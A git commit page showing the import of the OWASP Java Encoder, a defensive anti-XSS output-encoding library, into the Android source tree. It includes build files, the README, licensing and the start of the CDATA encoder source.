aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorAndrew Vuong <akvuong@google.com>2023-03-14 17:29:38 +0000
committerAutomerger Merge Worker <android-build-automerger-merge-worker@system.gserviceaccount.com>2023-03-14 17:29:38 +0000
commitca84154e8becc70564ad0ddc40195e0fe5948a9c (patch)
tree80cc17f224771b06e037f182dde7fc0fa2276511
parent465c7ff7095d67b23f9c59ab117a41db03b58a0d (diff)
parent0bbf152e6b8fe78485d078d607c6ddcb6d92f996 (diff)
downloadjava-encoder-ca84154e8becc70564ad0ddc40195e0fe5948a9c.tar.gz
Initial import of owasp-java-encoder from upstream main am: 3566f56059 am: 6899028edc am: 121cf10279 am: 0bbf152e6b
Original change: https://android-review.googlesource.com/c/platform/external/owasp/java-encoder/+/2486318 Change-Id: I9306ee8c9eb2d4fa9710e521a6705b69d18c1576 Signed-off-by: Automerger Merge Worker <android-build-automerger-merge-worker@system.gserviceaccount.com>
-rw-r--r--.gitignore20
-rw-r--r--.travis.yml14
-rw-r--r--Android.bp43
-rw-r--r--LICENSE33
-rw-r--r--META-INF/MANIFEST.MF9
-rw-r--r--METADATA20
-rw-r--r--MODULE_LICENSE_BSD0
-rw-r--r--README.md77
-rw-r--r--core/pom.xml103
-rw-r--r--core/src/main/java/org/owasp/encoder/ASCIIBits.java124
-rw-r--r--core/src/main/java/org/owasp/encoder/CDATAEncoder.java312
-rw-r--r--core/src/main/java/org/owasp/encoder/CSSEncoder.java303
-rw-r--r--core/src/main/java/org/owasp/encoder/ChainedEncoder.java164
-rw-r--r--core/src/main/java/org/owasp/encoder/Encode.java1430
-rw-r--r--core/src/main/java/org/owasp/encoder/EncodedWriter.java215
-rw-r--r--core/src/main/java/org/owasp/encoder/Encoder.java264
-rw-r--r--core/src/main/java/org/owasp/encoder/Encoders.java260
-rw-r--r--core/src/main/java/org/owasp/encoder/HTMLEncoder.java499
-rw-r--r--core/src/main/java/org/owasp/encoder/JavaEncoder.java215
-rw-r--r--core/src/main/java/org/owasp/encoder/JavaScriptEncoder.java298
-rw-r--r--core/src/main/java/org/owasp/encoder/URIEncoder.java392
-rw-r--r--core/src/main/java/org/owasp/encoder/Unicode.java95
-rw-r--r--core/src/main/java/org/owasp/encoder/UnsupportedContextException.java53
-rw-r--r--core/src/main/java/org/owasp/encoder/XMLCommentEncoder.java237
-rw-r--r--core/src/main/java/org/owasp/encoder/XMLEncoder.java394
-rw-r--r--core/src/main/resources/META-INF/LICENSE33
-rw-r--r--core/src/site/markdown/index.md35
-rw-r--r--core/src/site/site.xml41
-rw-r--r--core/src/test/java/org/owasp/encoder/BenchmarkTest.java260
-rw-r--r--core/src/test/java/org/owasp/encoder/CDATAEncoderTest.java99
-rw-r--r--core/src/test/java/org/owasp/encoder/CSSEncoderTest.java90
-rw-r--r--core/src/test/java/org/owasp/encoder/ChainedEncoderTest.java72
-rw-r--r--core/src/test/java/org/owasp/encoder/EncodeTest.java160
-rw-r--r--core/src/test/java/org/owasp/encoder/EncoderTestSuiteBuilder.java562
-rw-r--r--core/src/test/java/org/owasp/encoder/EncodersTest.java73
-rw-r--r--core/src/test/java/org/owasp/encoder/HTMLEncoderTest.java104
-rw-r--r--core/src/test/java/org/owasp/encoder/JavaEncoderTest.java76
-rw-r--r--core/src/test/java/org/owasp/encoder/JavaScriptEncoderTest.java126
-rw-r--r--core/src/test/java/org/owasp/encoder/URIEncoderTest.java130
-rw-r--r--core/src/test/java/org/owasp/encoder/XMLCommentEncoderTest.java101
-rw-r--r--core/src/test/java/org/owasp/encoder/XMLEncoderTest.java138
-rw-r--r--core/src/test/resources/org/owasp/encoder/benchmark-data-1.txt427
-rw-r--r--core/src/test/resources/org/owasp/encoder/benchmark-data-2.txt4921
-rw-r--r--esapi/pom.xml73
-rw-r--r--esapi/src/main/java/org/owasp/encoder/esapi/ESAPIEncoder.java254
-rw-r--r--esapi/src/main/resources/META-INF/LICENSE33
-rw-r--r--esapi/src/site/site.xml41
-rw-r--r--esapi/src/test/java/org/owasp/encoder/esapi/ESAPIEncoderTest.java49
-rw-r--r--esapi/src/test/resources/.esapi/ESAPI.properties38
-rw-r--r--esapi/src/test/resources/esapi-java-logging.properties6
-rw-r--r--jsp/pom.xml93
-rw-r--r--jsp/src/main/java/org/owasp/encoder/tag/EncodingTag.java57
-rw-r--r--jsp/src/main/java/org/owasp/encoder/tag/ForCDATATag.java52
-rw-r--r--jsp/src/main/java/org/owasp/encoder/tag/ForCssStringTag.java52
-rw-r--r--jsp/src/main/java/org/owasp/encoder/tag/ForCssUrlTag.java52
-rw-r--r--jsp/src/main/java/org/owasp/encoder/tag/ForHtmlAttributeTag.java52
-rw-r--r--jsp/src/main/java/org/owasp/encoder/tag/ForHtmlContentTag.java52
-rw-r--r--jsp/src/main/java/org/owasp/encoder/tag/ForHtmlTag.java52
-rw-r--r--jsp/src/main/java/org/owasp/encoder/tag/ForHtmlUnquotedAttributeTag.java52
-rw-r--r--jsp/src/main/java/org/owasp/encoder/tag/ForJavaScriptAttributeTag.java52
-rw-r--r--jsp/src/main/java/org/owasp/encoder/tag/ForJavaScriptBlockTag.java52
-rw-r--r--jsp/src/main/java/org/owasp/encoder/tag/ForJavaScriptSourceTag.java52
-rw-r--r--jsp/src/main/java/org/owasp/encoder/tag/ForJavaScriptTag.java52
-rw-r--r--jsp/src/main/java/org/owasp/encoder/tag/ForUriComponentTag.java53
-rw-r--r--jsp/src/main/java/org/owasp/encoder/tag/ForUriTag.java52
-rw-r--r--jsp/src/main/java/org/owasp/encoder/tag/ForXmlAttributeTag.java52
-rw-r--r--jsp/src/main/java/org/owasp/encoder/tag/ForXmlCommentTag.java52
-rw-r--r--jsp/src/main/java/org/owasp/encoder/tag/ForXmlContentTag.java52
-rw-r--r--jsp/src/main/java/org/owasp/encoder/tag/ForXmlTag.java52
-rw-r--r--jsp/src/main/resources/META-INF/LICENSE33
-rw-r--r--jsp/src/main/resources/META-INF/java-encoder-advanced.tld560
-rw-r--r--jsp/src/main/resources/META-INF/java-encoder.tld403
-rw-r--r--jsp/src/site/markdown/index.md31
-rw-r--r--jsp/src/site/site.xml41
-rw-r--r--jsp/src/test/java/org/owasp/encoder/tag/EncodingTagTest.java77
-rw-r--r--jsp/src/test/java/org/owasp/encoder/tag/ForCDATATagTest.java77
-rw-r--r--jsp/src/test/java/org/owasp/encoder/tag/ForCssStringTagTest.java77
-rw-r--r--jsp/src/test/java/org/owasp/encoder/tag/ForCssUrlTagTest.java77
-rw-r--r--jsp/src/test/java/org/owasp/encoder/tag/ForHtmlAttributeTagTest.java77
-rw-r--r--jsp/src/test/java/org/owasp/encoder/tag/ForHtmlContentTagTest.java77
-rw-r--r--jsp/src/test/java/org/owasp/encoder/tag/ForHtmlTagTest.java77
-rw-r--r--jsp/src/test/java/org/owasp/encoder/tag/ForHtmlUnquotedAttributeTagTest.java77
-rw-r--r--jsp/src/test/java/org/owasp/encoder/tag/ForJavaScriptAttributeTagTest.java77
-rw-r--r--jsp/src/test/java/org/owasp/encoder/tag/ForJavaScriptBlockTagTest.java77
-rw-r--r--jsp/src/test/java/org/owasp/encoder/tag/ForJavaScriptSourceTagTest.java77
-rw-r--r--jsp/src/test/java/org/owasp/encoder/tag/ForJavaScriptTagTest.java46
-rw-r--r--jsp/src/test/java/org/owasp/encoder/tag/ForUriComponentTagTest.java77
-rw-r--r--jsp/src/test/java/org/owasp/encoder/tag/ForUriTagTest.java77
-rw-r--r--jsp/src/test/java/org/owasp/encoder/tag/ForXmlAttributeTagTest.java77
-rw-r--r--jsp/src/test/java/org/owasp/encoder/tag/ForXmlCommentTagTest.java77
-rw-r--r--jsp/src/test/java/org/owasp/encoder/tag/ForXmlContentTagTest.java77
-rw-r--r--jsp/src/test/java/org/owasp/encoder/tag/ForXmlTagTest.java77
-rwxr-xr-xpom.xml496
-rw-r--r--src/main/config/checkstyle-header.txt33
-rw-r--r--src/main/config/checkstyle.xml204
-rw-r--r--src/site/markdown/index.md56
-rw-r--r--src/site/resources/images/owasp.jpgbin0 -> 11488 bytes
-rw-r--r--src/site/site.xml92
98 files changed, 17855 insertions, 0 deletions
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..ab4a6f9
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,20 @@
+*/target/**
+/target/**
+# Intellij project files
+*.iml
+*.ipr
+*.iws
+.idea/
+# Eclipse project files
+.classpath
+.project
+.settings
+maven-eclipse.xml
+.externalToolBuilders
+# Netbeans configuration
+nb-configuration.xml
+*/nbproject/*
+
+/jsp/target/
+/esapi/target/
+/target/
diff --git a/.travis.yml b/.travis.yml
new file mode 100644
index 0000000..5206c1e
--- /dev/null
+++ b/.travis.yml
@@ -0,0 +1,14 @@
+language: java
+dist: trusty
+
+jdk:
+ - openjdk8
+ - oraclejdk8
+# to compile using JDK 9+ we must move from source and target 1.5 to 1.6
+# - openjdk9
+# - openjdk10
+# - openjdk11
+# - oraclejdk9
+# - oraclejdk10
+
+script: mvn test -B -X
diff --git a/Android.bp b/Android.bp
new file mode 100644
index 0000000..f2f0816
--- /dev/null
+++ b/Android.bp
@@ -0,0 +1,43 @@
+// Copyright (C) 2023 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+ default_applicable_licenses: ["my_external_owasp_java_encoder_license"],
+}
+
+license {
+ name: "my_external_owasp_java_encoder_license",
+ visibility: [":__subpackages__"],
+ license_kinds: [
+ "SPDX-license-identifier-BSD",
+ ],
+ license_text: [
+ "LICENSE",
+ ],
+}
+
+java_library {
+ name: "owasp-java-encoder",
+ srcs: ["core/src/main/java/**/*.java"],
+ sdk_version: "current",
+ min_sdk_version: "33",
+ java_version: "1.8",
+ apex_available: [
+ "//apex_available:platform",
+ "com.android.ondevicepersonalization",
+ ],
+ visibility: [
+ "//packages/modules/OnDevicePersonalization:__subpackages__",
+ ],
+}
diff --git a/LICENSE b/LICENSE
new file mode 100644
index 0000000..f66c375
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,33 @@
+Copyright (c) 2015 Jeff Ichnowski
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions
+are met:
+
+ * Redistributions of source code must retain the above
+ copyright notice, this list of conditions and the following
+ disclaimer.
+
+ * Redistributions in binary form must reproduce the above
+ copyright notice, this list of conditions and the following
+ disclaimer in the documentation and/or other materials
+ provided with the distribution.
+
+ * Neither the name of the OWASP nor the names of its
+ contributors may be used to endorse or promote products
+ derived from this software without specific prior written
+ permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file
diff --git a/META-INF/MANIFEST.MF b/META-INF/MANIFEST.MF
new file mode 100644
index 0000000..2aaee67
--- /dev/null
+++ b/META-INF/MANIFEST.MF
@@ -0,0 +1,9 @@
+Manifest-Version: 1.0
+Bnd-LastModified: 1533328833261
+Bundle-ManifestVersion: 2
+Bundle-Name: org.owasp.encoder
+Bundle-SymbolicName: org.owasp.encoder
+Bundle-Version: 1.2.1
+Created-By: 1.8.0_181 (Oracle Corporation)
+Export-Package: org.owasp.encoder
+Tool: Bnd-1.50.0
diff --git a/METADATA b/METADATA
new file mode 100644
index 0000000..83dd041
--- /dev/null
+++ b/METADATA
@@ -0,0 +1,20 @@
+name: "owasp-java-encoder"
+description:
+ "The OWASP Java Encoder is a Java 1.5+ simple-to-use drop-in "
+ "high-performance encoder class with no dependencies and little baggage. "
+ "This project will help Java web developers defend against Cross Site "
+ "Scripting!"
+
+third_party {
+ url {
+ type: HOMEPAGE
+ value: "https://owasp.org/www-project-java-encoder/"
+ }
+ url {
+ type: GIT
+ value: "https://github.com/OWASP/owasp-java-encoder.git"
+ }
+ version: "6309c0ad5d5a339f41dfa94384930f630d46bc4a"
+ last_upgrade_date { year: 2023 month: 2 day: 14 }
+ license_type: NOTICE
+}
diff --git a/MODULE_LICENSE_BSD b/MODULE_LICENSE_BSD
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/MODULE_LICENSE_BSD
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..e7dfd4f
--- /dev/null
+++ b/README.md
@@ -0,0 +1,77 @@
+OWASP Java Encoder Project
+==========================
+
+[![Build Status](https://travis-ci.org/OWASP/owasp-java-encoder.svg?branch=main)](https://travis-ci.org/OWASP/owasp-java-encoder) [![License](https://img.shields.io/badge/License-BSD%203--Clause-blue.svg)](https://opensource.org/licenses/BSD-3-Clause) [![javadoc](https://javadoc.io/badge2/org.owasp.encoder/encoder/javadoc.svg)](https://javadoc.io/doc/org.owasp.encoder/encoder)
+
+Contextual Output Encoding is a computer programming technique necessary to stop
+Cross-Site Scripting. This project is a Java 1.5+ simple-to-use drop-in high-performance
+encoder class with little baggage.
+
+For more detailed documentation on the OWASP Javca Encoder please visit https://owasp.org/www-project-java-encoder/.
+
+Start using the OWASP Java Encoders
+-----------------------------------
+You can download a JAR from [Maven Central](https://search.maven.org/#search|ga|1|g%3A%22org.owasp.encoder%22%20a%3A%22encoder%22).
+
+JSP tags and EL functions are available in the encoder-jsp, also available in [Central](http://search.maven.org/remotecontent?filepath=org/owasp/encoder/encoder-jsp/1.2.3/encoder-jsp-1.2.3.jar).
+
+The jars are also available in Maven:
+
+```xml
+<dependency>
+ <groupId>org.owasp.encoder</groupId>
+ <artifactId>encoder</artifactId>
+ <version>1.2.3</version>
+</dependency>
+
+<dependency>
+ <groupId>org.owasp.encoder</groupId>
+ <artifactId>encoder-jsp</artifactId>
+ <version>1.2.3</version>
+</dependency>
+```
+
+Quick Overview
+--------------
+The OWASP Java Encoder library is intended for quick contextual encoding with very little
+overhead, either in performance or usage. To get started, simply add the encoder-1.2.3.jar,
+import org.owasp.encoder.Encode and start using.
+
+Example usage:
+
+```java
+ PrintWriter out = ....;
+ out.println("<textarea>"+Encode.forHtml(userData)+"</textarea>");
+```
+
+Please look at the javadoc for Encode to see the variety of contexts for which you can encode.
+
+Happy Encoding!
+
+News
+----
+### 2020-11-08 - 1.2.3 Release
+The team is happy to announce that version 1.2.3 has been released!
+* Update to make the manifest OSGi-compliant (#39).
+* Update to support ESAPI 2.2 and later (#37).
+
+### 2018-09-14 - 1.2.2 Release
+The team is happy to announce that version 1.2.2 has been released!
+* This is a minor release fixing documentation and licensing issues.
+
+### 2017-02-19 - 1.2.1 Release
+The team is happy to announce that version 1.2.1 has been released!
+* The CDATA Encoder was modified so that it does not emit intermediate characters between adjacent CDATA sections.
+* The documentation on [gh-pages](http://owasp.github.io/owasp-java-encoder/) has been improved.
+
+### 2015-04-12 - 1.2 Release on GitHub
+OWASP Java Encoder has been moved to GitHub. Version 1.2 was also released!
+
+### 2014-03-31 - Documentation updated
+Please visit https://www.owasp.org/index.php/OWASP_Java_Encoder_Project#tab=Use_the_Java_Encoder_Project to see detailed documentation and examples on each API use!
+
+### 2014-01-30 - Version 1.1.1 released
+We're happy to announce that version 1.1.1 has been released. Along with a important bug fix, we added ESAPI integration to replace the legacy ESAPI encoders with the OWASP Java Encoder.
+
+### 2013-02-14 - Version 1.1 released
+We're happy to announce that version 1.1 has been released. Along with a few minor encoding enhancements, we improved performance, and added a JSP tag and function library.
diff --git a/core/pom.xml b/core/pom.xml
new file mode 100644
index 0000000..29baed5
--- /dev/null
+++ b/core/pom.xml
@@ -0,0 +1,103 @@
+<?xml version="1.0" encoding="US-ASCII"?>
+<!--
+~ Copyright (c) 2015 OWASP.
+~ All rights reserved.
+~
+~ Redistribution and use in source and binary forms, with or without
+~ modification, are permitted provided that the following conditions
+~ are met:
+~
+~ * Redistributions of source code must retain the above
+~ copyright notice, this list of conditions and the following
+~ disclaimer.
+~
+~ * Redistributions in binary form must reproduce the above
+~ copyright notice, this list of conditions and the following
+~ disclaimer in the documentation and/or other materials
+~ provided with the distribution.
+~
+~ * Neither the name of the OWASP nor the names of its
+~ contributors may be used to endorse or promote products
+~ derived from this software without specific prior written
+~ permission.
+~
+~ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+~ "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+~ LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+~ FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+~ COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+~ INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+~ (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+~ SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+~ HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+~ STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+~ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+~ OF THE POSSIBILITY OF SUCH DAMAGE.
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+ <modelVersion>4.0.0</modelVersion>
+
+ <parent>
+ <groupId>org.owasp.encoder</groupId>
+ <artifactId>encoder-parent</artifactId>
+ <version>1.2.3</version>
+ </parent>
+
+ <artifactId>encoder</artifactId>
+ <packaging>jar</packaging>
+
+ <name>Java Encoder</name>
+ <description>
+ The OWASP Encoders package is a collection of high-performance low-overhead
+ contextual encoders, that when utilized correctly, is an effective tool in
+ preventing Web Application security vulnerabilities such as Cross-Site
+ Scripting.
+ </description>
+
+ <properties>
+ <jigsaw.module.name>org.owasp.encoder</jigsaw.module.name>
+ </properties>
+
+ <build>
+ <plugins>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-surefire-plugin</artifactId>
+ <configuration>
+ <excludes>
+ <exclude>org/owasp/encoder/BenchmarkTest.java</exclude>
+ </excludes>
+ </configuration>
+ </plugin>
+ </plugins>
+ </build>
+ <profiles>
+ <profile>
+ <id>benchmark</id>
+ <build>
+ <plugins>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-failsafe-plugin</artifactId>
+ <configuration>
+ <argLine>-Xmx1024m -XX:MaxPermSize=256m</argLine>
+ <includes>
+ <include>org/owasp/encoder/BenchmarkTest.java</include>
+ </includes>
+ </configuration>
+ <executions>
+ <execution>
+ <goals>
+ <goal>integration-test</goal>
+ <goal>verify</goal>
+ </goals>
+ </execution>
+ </executions>
+ </plugin>
+ </plugins>
+ </build>
+ </profile>
+ </profiles>
+</project>
diff --git a/core/src/main/java/org/owasp/encoder/ASCIIBits.java b/core/src/main/java/org/owasp/encoder/ASCIIBits.java
new file mode 100644
index 0000000..33a3a33
--- /dev/null
+++ b/core/src/main/java/org/owasp/encoder/ASCIIBits.java
@@ -0,0 +1,124 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder;
+
+/**
+ * ASCIIBits - Small helper class for building up 128-bit bit-mask (2 longs)
+ * to be used testing lower-ASCII characters. It helps make some other code
+ * easier to read. It is not intended to be public.
+ */
+class ASCIIBits {
+ /** Lower 64 bits. */
+ long _lowerMask;
+ /** Upper 64 bits. */
+ long _upperMask;
+
+ /**
+ * Sets a bit to 1 for each character in the argument string. No checking
+ * is performed to see if characters are in the valid range 0..127.
+ *
+ * @param chars the characters to set to 1.
+ * @return {@code this}
+ */
+ ASCIIBits set(String chars) {
+ for (int i=0, n=chars.length() ; i<n ; ++i) {
+ char ch = chars.charAt(i);
+ if (ch < 64) {
+ _lowerMask |= (1L << ch);
+ } else {
+ _upperMask |= (1L << ch);
+ }
+ }
+ return this;
+ }
+
+ /**
+ * Clears the bit (sets to 0) for each character in the argument string.
+ *
+ * @param chars the characters to clear.
+ * @return {@code this}
+ */
+ ASCIIBits clear(String chars) {
+ for (int i=0, n=chars.length() ; i<n ; ++i) {
+ char ch = chars.charAt(i);
+ if (ch < 64) {
+ _lowerMask &= ~(1L << ch);
+ } else {
+ _upperMask &= ~(1L << ch);
+ }
+ }
+ return this;
+ }
+
+ /**
+ * Sets a range of characters to 1s in the masks.
+ *
+ * @param min the minimum (inclusive).
+ * @param max the maximum (inclusive).
+ * @return {@code this}
+ */
+ ASCIIBits set(int min, int max) {
+ // There are faster bit-twiddling tricks to accomplish the same
+ // thing as below. Minor optimization for later.
+ int i=min;
+ for (int n = Math.min(max,63) ; i<=n ; ++i) {
+ _lowerMask |= (1L << i);
+ }
+ for ( ; i<=max ; ++i) {
+ _upperMask |= (1L << i);
+ }
+ return this;
+ }
+
+ /**
+ * Sets a range of characters to 0s in the masks.
+ *
+ * @param min the minimum (inclusive).
+ * @param max the maximum (inclusive).
+ * @return {@code this}
+ */
+ ASCIIBits clear(char min, char max) {
+ // There are faster bit-twiddling tricks to accomplish the same
+ // thing as below. Minor optimization for later.
+ int i=min;
+ for (int n = Math.min(max,63) ; i<=n ; ++i) {
+ _lowerMask &= ~(1L << i);
+ }
+ for ( ; i<=max ; ++i) {
+ _upperMask &= ~(1L << i);
+ }
+ return this;
+ }
+}
diff --git a/core/src/main/java/org/owasp/encoder/CDATAEncoder.java b/core/src/main/java/org/owasp/encoder/CDATAEncoder.java
new file mode 100644
index 0000000..d08014b
--- /dev/null
+++ b/core/src/main/java/org/owasp/encoder/CDATAEncoder.java
@@ -0,0 +1,312 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+package org.owasp.encoder;
+
+import java.nio.CharBuffer;
+import java.nio.charset.CoderResult;
+
+/**
+ * CDATAEncoder -- encoder for CDATA sections. CDATA sections are generally good
+ * for including large blocks of text that contain characters that normally
+ * require encoding (ampersand, quotes, less-than, etc...). The CDATA context
+ * however still does not allow invalid characters, and can be closed by the
+ * sequence "]]>". This encoder removes invalid XML characters, and encodes
+ * "]]>" (to "]]]]>&lt;![CDATA[>"). The result is that the data integrity is
+ * maintained, but the code receiving the output will have to handle multiple
+ * CDATA events. As an alternate approach, the caller could pre-encode "]]>" to
+ * something of their choosing (e.g. data.replaceAll("\\]\\]>", "]] >")), then
+ * use this encoder to remove any invalid XML characters.
+ *
+ * @author Jeff Ichnowski
+ */
+class CDATAEncoder extends Encoder {
+
+ /**
+ * The encoding of @{code "]]>"}.
+ */
+ private static final char[] CDATA_END_ENCODED
+ = "]]]]><![CDATA[>".toCharArray();
+
+ /**
+ * Length of {@code "]]]]><![CDATA[>"}.
+ */
+ private static final int CDATA_END_ENCODED_LENGTH = 15;
+
+ /**
+ * Length of {@code "]]>"}.
+ */
+ private static final int CDATA_END_LENGTH = 3;
+
+ @Override
+ protected int maxEncodedLength(int n) {
+ // "]" becomes "]" (1 -> 1)
+ // "]]" becomes "]]" (2 -> 2)
+ // "]]>" becomes "]]]]><![CDATA[>" (3 -> 15)
+ // "]]>]" becomes "]]]]><![CDATA[>]" (3 -> 15 + 1 -> 1)
+ // ...
+
+ int worstCase = n / CDATA_END_LENGTH;
+ int remainder = n % CDATA_END_LENGTH;
+
+ return worstCase * CDATA_END_ENCODED_LENGTH + remainder;
+
+// return (n - remainder) * 5 + remainder;
+ }
+
+ @Override
+ protected int firstEncodedOffset(String input, int off, int len) {
+ final int n = off + len;
+ //int closeCount = 0; //unused...
+ for (int i = off; i < n; ++i) {
+ char ch = input.charAt(i);
+ if (ch <= Unicode.MAX_ASCII) {
+ if (ch != ']') {
+ if (ch < ' ' && ch != '\n' && ch != '\r' && ch != '\t') {
+ return i;
+// } else {
+// // valid
+ }
+
+ } else if (i + 1 < n) {
+ if (input.charAt(i + 1) != ']') {
+ // "]x" (next character is safe for this to be ']')
+ } else {
+ // "]]?"
+ // keep looping through ']'
+ for (; i + 2 < n && input.charAt(i + 2) == ']'; ++i) {
+ // valid
+ }
+ // at this point we've looped through a sequence
+ // of 2 or more "]", if the next character is ">"
+ // we need to encode "]]>".
+ if (i + 2 < n) {
+ if (input.charAt(i + 2) == '>') {
+ return i;
+// } else {
+// // valid
+ }
+
+ } else {
+ return n;
+ }
+ }
+ } else {
+ return n;
+ }
+ } else if (ch < Character.MIN_HIGH_SURROGATE) {
+ if (ch <= Unicode.MAX_C1_CTRL_CHAR && ch != Unicode.NEL) {
+ return i;
+// } else {
+// // valid
+ }
+ } else if (ch <= Character.MAX_HIGH_SURROGATE) {
+ if (i + 1 < n) {
+ if (Character.isLowSurrogate(input.charAt(i + 1))) {
+ int cp = Character.toCodePoint(ch, input.charAt(i + 1));
+ if (Unicode.isNonCharacter(cp)) {
+ return i;
+ } else {
+ ++i;
+ // valid pair
+ }
+ } else {
+ return i;
+ }
+ } else {
+ // end of input, high without low = invalid
+ return i;
+ }
+ } else if (// low surrogate without preceding high surrogate
+ ch <= Character.MAX_LOW_SURROGATE
+ // or non-characters
+ || ch > '\ufffd'
+ || ('\ufdd0' <= ch && ch <= '\ufdef'))
+ {
+ return i;
+// } else {
+// // valid
+ }
+
+ }
+ return n;
+ }
+
+ @Override
